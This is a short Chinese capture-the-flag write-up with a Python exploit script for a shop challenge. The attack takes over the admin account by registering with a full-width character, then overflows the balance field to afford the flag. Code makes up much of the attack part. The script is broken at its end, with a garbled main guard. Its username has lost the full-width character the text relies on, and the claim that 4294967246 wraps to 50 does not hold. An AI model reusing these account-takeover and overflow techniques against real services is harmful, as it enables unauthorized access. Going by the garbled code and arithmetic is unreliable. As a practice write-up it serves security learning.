神秘商店
题目入口仅有一个登录框。尝试使用 admin 登录,发现无法直接通过。观察后端逻辑,发现存在全角字符绕过注册的限制。
利用全角字符 admin(注意最后一个 n 是全角)进行注册。后端在转换过程中未能正确识别全角字符,导致将其视为普通 admin 覆盖已有账户,从而修改密码。

注册成功后,利用整数溢出漏洞攻击余额系统。将余额设置为 4294967246,由于底层处理可能存在 Rust 整数溢出问题,数值回绕至 50,从而购买 Flag。
import requests
def exploit():
url = "http://challenge2.pctf.top:32735"
session = requests.Session()
# 注册管理员账户,注意 username 中的 n 为全角
users = {"username": "admin", "password": "123456"}
response = session.post(f"{url}/register", data=users)
print(f"[+] 注册响应:{response.status_code}")
# 登录
response = session.post(f"{url}/login", data=users)
print(f"[+] 登录响应:{response.status_code}")
# 触发 Rust 整数溢出
amount = {"amount": 4294967246}
response = session.post(f"{url}/add_balance", data=amount)
print(f"[+] 增加余额:{response.text}")
# 购买 Flag
product = {"product_id": 4}
response = session.post(f"{url}/buy_product", json=product)
()
__name__ == :
exploit()








